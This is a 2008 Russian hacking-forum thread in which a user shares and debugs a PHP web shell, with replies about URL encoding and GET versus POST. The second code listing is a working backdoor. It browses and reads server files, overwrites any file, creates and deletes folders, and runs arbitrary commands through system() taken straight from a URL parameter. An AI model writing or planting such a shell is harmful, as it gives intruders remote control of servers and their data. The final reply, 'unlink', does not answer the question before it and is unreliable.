ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Php shell
  #1  
Старый 31.05.2008, 13:51
Аватар для lomerok
lomerok
Участник форума
Регистрация: 23.04.2008
Сообщений: 132
Провел на форуме:
103153

Репутация: 13
По умолчанию Php shell

неоткрываются русские папки
PHP код:
<form method="get">
Введите адрес :<input type="text" name="path">
<input type="submit" value="Enter"></form>
<?
$do
=$_GET['path'];
if(
$do=="./"$do .= "/";
if(!isset(
$do) or $do==''$do=getcwd();
if(
is_dir($do))
{
 
chdir($do);
 
$od=opendir($do);
 while(
$rd=readdir($od))
 {
 print 
"<br><a href=\"?path=".getcwd()."\\$rd\">$rd</a>";
 }
 
closedir($od);

if(
is_file($do)) 
{
 print 
'<textarea cols=100 rows=20>'
 print 
htmlspecialchars(file_get_contents($do));
 print 
'</textarea>';
}
?>
 
Ответить с цитированием

  #2  
Старый 31.05.2008, 14:00
Аватар для brasco2k
brasco2k
Постоянный
Регистрация: 23.11.2007
Сообщений: 342
Провел на форуме:
1215706

Репутация: 310
По умолчанию

А они и не должны открыватся.
Не забывай про URL encode
 
Ответить с цитированием

  #3  
Старый 31.05.2008, 14:06
Аватар для lomerok
lomerok
Участник форума
Регистрация: 23.04.2008
Сообщений: 132
Провел на форуме:
103153

Репутация: 13
По умолчанию

пля чёта я прогнал , пробовал урлэнкоде до этого и неработало , а щас заработало , видать нетуда пихал
 
Ответить с цитированием

  #4  
Старый 31.05.2008, 18:08
Аватар для lomerok
lomerok
Участник форума
Регистрация: 23.04.2008
Сообщений: 132
Провел на форуме:
103153

Репутация: 13
По умолчанию

при сохранении в файл , всё передается через Get почему , если установлен Post ...
 
Ответить с цитированием

  #5  
Старый 31.05.2008, 18:08
Аватар для lomerok
lomerok
Участник форума
Регистрация: 23.04.2008
Сообщений: 132
Провел на форуме:
103153

Репутация: 13
По умолчанию

при сохранении в файл , всё передается через Get почему , если установлен Post ...

PHP код:
<html>
<title>Shell</title>
<body bgcolor=#000000 text=#ffffff alink=#ffffff vlink=#ffffff link=#ffffff>
<table border=3>
 <tr>
  <td>
   <form method="get">
    <input type="text" name="us">
    <select name="use">
     <option value="open">Открыть папку</option>
     <option value="new">Создать папку</option>
     <option value="dell">Удалить папку</option>
     <option value="cmd">Выполнить команду</option>
    </select>
    <input type="submit" value="Enter">
  </td>
 </tr>
</table>
<?
//--------------Peremennie-------------------------------------------------------------------
$do=$_GET['path'];
$text=$_GET['text'];
$name=$_GET['name'];
$us=$_GET['us'];
$use=$_GET['use'];
//-------------Edit file-----------------------------------------------------------------------
if(isset($text))
{
 
$fo=fopen($name,"w");
 
$fw=fwrite($fo,stripslashes($text));
 
fclose($fo);
 print 
"Сохранено !!!";
}
//-------------Commands---------------------------------------------------------------------
if ($use=="open") {$do=$us; print "Готово !!!<br>";}
if (
$use=="new")  {mkdir("./$us/"); print "Готово !!!<br>";}
if (
$use=="dell") {rmdir($us); print "Готово !!!<br>";}
if (
$use=="cmd")   {$command=$us; print "Готово !!!<br>";}
//-------------Cmd shell-----------------------------------------------------------------------
if(isset($command))
{
 if(
$us=="cd .."chdir("..");
 print 
'<textarea cols=100 rows=20>';
 echo 
system($command);
 print 
'</textarea><br><a href="javascript:history.go(-1);">Cancel</a>';

//-------------Chtenie katalogov------------------------------------------------------------
if($do=="./"$do .= "/";
//if(!isset($do) or $do=='') $do=getcwd();
if(is_dir($do))
{
 
chdir($do);
 
$od=opendir($do);
 while(
$rd=readdir($od))
 {
 print 
"<br><a href=\"?path=".urlencode(getcwd())."\\$rd\">$rd</a>";
 }
 
closedir($od);

//-------------Chtenie failov-----------------------------------------------------------------
if(is_file($do)) 
{
 print 
'<form method="POST">
        <input type="hidden" name="name" value="'
.$do.'">
        <textarea cols=100 rows=20 name="text">'

 print 
htmlspecialchars(file_get_contents($do));
 print 
'</textarea><br>
        <input type="submit" value="Save">
        </form><br><a href="javascript:history.go(-1);">Cancel</a>'
;
}
?>

</body>
</html>
 
Ответить с цитированием

  #6  
Старый 31.05.2008, 18:25
Аватар для cash$$$
cash$$$
Banned
Регистрация: 06.01.2008
Сообщений: 413
Провел на форуме:
1301036

Репутация: 1334
Отправить сообщение для cash$$$ с помощью ICQ
По умолчанию

Цитата:
Сообщение от lomerok  
при сохранении в файл , всё передается через Get почему , если установлен Post ...
Методы GET и POST — это два различных способа передачи данных HTTP-серверу, точнее PHP- или другому CGI-скрипту для последующей обработки.
При методе GET производится сокет-соединение с хостом на 80-ом порту и по этому соединению передаётся указанный текст запроса. По протоколу HTTP, в первой строке указывается метод запроса, имя ресурса и версия протокола. Во второй строке указывается DNS-имя хоста, к которому происходит обращение (на одном хосте могут размещаться сотни виртуальных хостов с различными именами). Этот метод получения документов (страниц, картинок и других файлов) является основным для HTTP-серверов и браузеров. В этом случае браузер лишь сообщает серверу, какой документ необходимо загрузить.

Метод POST В этом случае данные передаются не в URL, а в теле HTTP-запроса, но формат представления очень похож на GET и в скрипте они обрабатываются посредством глобального массива $_POST[имя-поля]. Обычно POST используется при работе с формами, когда данные отправляются на сервер, а не просто запрашивается URL. В этом принципиальное отличие GET от POST.
К примеру, вот простой скрипт сложения двух чисел. Состоит из двух частей: HTML-форма и код вывода суммы. Числа из полей ввода A и B передаются в этот же скрипт методом POST в виде переменных $_POST[a] и $_POST[b], и если они были переданы, то есть не пустые, то под формой выводится результат.
PHP код:
<form name="sum" action="script.php" method="post">  
Введите A <input name="a" type="text" value="">  
Введите B <input name="b" type="text" value="">  
<input type="submit" value="Сложить">  
</form>
<?php  
if ( $_POST[a] && $_POST[b] ) echo "Результат " . ($_POST[a] + $_POST[b]);  
?>
 
Ответить с цитированием

  #7  
Старый 31.05.2008, 19:39
Аватар для lomerok
lomerok
Участник форума
Регистрация: 23.04.2008
Сообщений: 132
Провел на форуме:
103153

Репутация: 13
По умолчанию

конечно спасибо за такой исчерпывающий ответ , но он неуместен так как в коде указан метод Post , а данные почемуто передаются через Get ...
 
Ответить с цитированием

  #8  
Старый 31.05.2008, 19:48
Аватар для lomerok
lomerok
Участник форума
Регистрация: 23.04.2008
Сообщений: 132
Провел на форуме:
103153

Репутация: 13
По умолчанию

Уже разобрался .. проблемма была в незакрытом тэге <form>
 
Ответить с цитированием

  #9  
Старый 01.06.2008, 11:21
Аватар для lomerok
lomerok
Участник форума
Регистрация: 23.04.2008
Сообщений: 132
Провел на форуме:
103153

Репутация: 13
По умолчанию

как в php подставить несколько букв в начало строки (переменной)

Последний раз редактировалось lomerok; 01.06.2008 в 13:16..
 
Ответить с цитированием

  #10  
Старый 01.06.2008, 13:00
Аватар для BlackSun
BlackSun
Members of Antichat - Level 5
Регистрация: 01.04.2007
Сообщений: 1,268
Провел на форуме:
10046345

Репутация: 4589


По умолчанию

unlink
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Books PHP FRAGNATIC PHP, PERL, MySQL, JavaScript 186 21.02.2010 02:41
Что такое Php? PAPA212 Болталка 13 28.12.2007 20:44
Безопасность в Php, Часть Iii k00p3r Чужие Статьи 0 11.07.2005 19:02
Защищаем Php. Шаг за шагом. k00p3r Чужие Статьи 0 13.06.2005 11:31



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ